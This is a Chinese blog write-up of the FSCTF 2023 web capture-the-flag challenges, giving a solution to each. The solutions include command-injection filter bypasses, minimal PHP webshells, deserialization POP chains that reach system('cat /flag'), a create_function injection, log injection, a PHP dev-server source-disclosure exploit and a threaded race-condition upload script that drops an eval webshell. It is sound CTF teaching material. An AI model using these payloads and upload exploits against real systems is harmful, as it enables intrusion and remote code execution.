【WP】FSCTF 2023 WEB

[FSCTF 2023]

源码!启动!

Ctrl +u 得到flag

webshell是啥捏

考察passthru()命令执行函数; 直接cat /f*就行

Hello,you

靠查的就是连接符和命令执行 有点像ping题那种

直接 ;sort f* ;可以换成|

细狗2.0

过滤了空格和cat 空格用${IFS}替换就行 cat用nl代替

Payload:

1;nl${IFS}/f*

ez_php1

1.MD5绕过使用数组:http://node4.anna.nssctf.cn:28835/?b[]=a&a[]=b

FL_AG,可以是用FL[AG=1,得到hint1:L0vey0U.php

2.反序列化:

$str = 'YES I love';

echo urlencode(serialize($str));# 得到P0int.php

3.继续反序列化

 使用引用赋值&,让b=&a

$clazz = new Clazz();

$clazz->b = &$clazz->a;

echo serialize($clazz);

传参得到

PD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=

解码得到flag

是兄弟,就来传你の🐎!

 考点:PHP上传黑名单绕过,图片文件头欺骗,PHP最短webshell

首先使用pht后缀绕过黑名单  然后图片头我们常使用GIF89a 但这里有字符长度限制 所以我们使用GIF就行  然后一句话木马 我们使用长的也会被限制 所以使用最短webshell  

具体可看

https://blog.novelsee.com/archives/109626747

我们这里的shell写的就是 

GIF<?=`nl /*`;

很简单内容 输出根目录下的所以东西 

我们测试 上传一个pht 文件 然后type改一下 得到文件路径 

我们访问文件路径就可以得到flag了

巴巴托斯!

先按照它的要求修改User-Agent: FSCTF Browser和Referer: 127.0.0.1 然后可以使用伪协议读取 也 发现存在目录穿越漏洞

我们直接读取flag发现不存在

但还看到了nginx 可能涉及到日志注入漏洞 具体文章访问

日志注入漏洞 - NPFS - 博客园 (cnblogs.com)

我们输入一句话木马 直接查看falg

然后再去访问日志就得到flag了

EZ_eval 

分析代码 过率了空格 cat flag 空格用%09 cat 换成sort flag用f* 很基础的绕过

下面这个是关键 ?被替换为空 那就我们不能使用php一句话木马

我们使用长标签

然后我们内容直接rce 就不使用蚁剑了

Paylaod:

?word=%3Cscript%09language=%22php%22%3Esystem(%27sort${IFS}/f*%27)%3C/script%3E

ez_php2

代码审计和最终构造代码

<?php

Class Rd{
    public $ending;
    public $cl;

    public $poc;

}


class Poc{
    public $payload;

    public $fun;


}

class Er{
    public $symbol;
    public $Flag = 'cat /flag'; //设置为system()执行的命令




}

class Ha{
    public $start;
    public $start1;
    public $start2 = '11111';

}
$a = new Ha();   //Ha里面有start,应该是链的开始: new个对像 然后触发__construct() 然后又触发__destruct() 里面有个if条件 我们直接在类里面给start2赋值为11111
$a->start1 =new Rd();//进入this−>start1−>Love(this->start)这个函数,Love()会触发__call()函数,代码上找一下,只有Rd()有__call: 所以我们new一个Rd
$poc = new Poc();//先new一个Poc类 为后边做赋值用
$poc->payload =['POC'=>'1111']; //给里面的paylaod赋值为11111 理由:再看__call()里面,里面主要是要找个值使arg[0][‘POC’]=="1111"成立,,说明Love($this->start)里面的参数为[‘’=>‘’]:这里就会变量覆盖漏洞
$a->start = $poc->payload;  //这里就可以使得if判断成功 然后就可以进入到if语句里面
$a->start1->cl = new Er();//进入$this->cl->var1 = “system”,这里调用var1会触发__set(),Er()里面正好有 __set里变成:public function __set($name, $value) # $value='system'
//{
 //   system($this->Flag);
//}
//
echo (serialize($a));

Payload

?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:9:"cat /flag";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}

CanCanNeed

审计代码一眼丁真,是create_function利用

具体文章访问

PHP create_function代码注入 - twosmi1e - 博客园 (cnblogs.com)

我们直接利用然后构造序列化代码 注意param2要绕过过滤

代码:

<?php
class Noteasy{
    protected $param1 = 'create_function';
    protected $param2 = "}require(base64_decode(ZmlsZTovLy9mbGFn));//"; //require(file:///flag)伪协议读取然后里面的file:///flagbase64编码

}
$a = new Noteasy();
echo base64_encode(serialize($a));

Paylaod:

Tzo3OiJOb3RlYXN5IjoyOntzOjk6IgAqAHBhcmFtMSI7czoxNToiY3JlYXRlX2Z1bmN0aW9uIjtzOjk6IgAqAHBhcmFtMiI7czo0NDoifXJlcXVpcmUoYmFzZTY0X2RlY29kZShabWxzWlRvdkx5OW1iR0ZuKSk7Ly8iO30=

签到plus

考点:php<= 7 . 4 . 21 development server源码泄露漏洞

打开页面 无法访问404

这里就已经很明显了  我们使用dirsearch扫描出了一个shell.php  我们直接访问shell.php他会回显phpinfo界面 然后搜索flag 也会出现假的flag

所以我们利用php源码读取漏洞读取webshell源码 像下面这样

具体访问下面这篇文章

https://blog.csdn.net/Kawakaze_JF/article/details/133046885

然后我们设置paylaod进行访问

GET /shell.php? HTTP/1.1

Host: node4.anna.nssctf.cn:28568





GET / HTTP/1.1

 得到

然后把右边Hex读取的代码形成txt文件读取

HTTP/1.1 200 OK
Host: node4.anna.nssctf.cn:28568
Date: Wed, 25 Oct 2023 14:09:59 GMT
Connection: close
Content-Length: 443

<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";

$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;

if (isset($_GET['👽🦐'])) {
    eval($😭($_GET['👽🦐']));
};

?>

我们发现phpinfo()在最前面 所以会出现刚刚的情况 我们然后带入表情发现下面就是个简单的passthru()命令执行函数 我们直接cat /f*就行

payload:

http://node4.anna.nssctf.cn:28999//shell.php?👽🦐=cat /f*

加速加速
 

官方wp:

这道题就是一个条件竞争 网上搜 upload-labs 通关甚至你能直接搜到 exp
参考链接 : 《Web 安全系列》- 文件上传 - 条件竞争上传-腾讯云开发者社区-腾讯云 (tencent.com)
这题就是在上传文件时如果你上传的不是图片 过 0.5 ( 很好跑出来的 ) 就会给你删掉。
这题目的就是在删掉之前访问你上传的 webshell( 所以要你加速快过删除速度 )
下面直接贴一下我的 exp
关于上传路径 这里随便传一个图片然后查看它的链接就能看到上传目录
脚本:
import requests
from concurrent.futures import ThreadPoolExecutor
def td(list):
 url = 'http://node4.anna.nssctf.cn:28142/index.php'
 files = {'upload_file': (
 'puu.php',"<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]);?>' ); ?>")}
 data = {'submit': '上传'}
 r = requests.post(url=url, data=data, files=files)
 re = requests.get('http://node4.anna.nssctf.cn:28142/upload/puu.php')
 if re.status_code == 200:
   print('上传成功')
if __name__ == '__main__':
 with ThreadPoolExecutor(50) as p:
   p.map(td, range(2000))

寻找蛛丝马迹

 考点就是信息收集的能力 

这道题总共六段flag

第一段 源码:

第二段 css

 

第三段 js

 

第四段 提示爬虫 直接搜robots.txt

 

改下格式

 

提示苹果  那就是 .DS_store

 

访问得到

 

备份文件访问 www.zip 打开最后一个

believe_it!}

最后拼接

FSCTF{Tell_y0U_nT_To_poInT_oUt_tH@t_y000u_Don't_believe_it!} 

提交失败  明显 nT少了一个o 总不可能骂你nt

 FSCTF{Tell_y0U_noT_To_poInT_oUt_tH@t_y000u_Don't_believe_it!} 

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W3nd4L0v3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值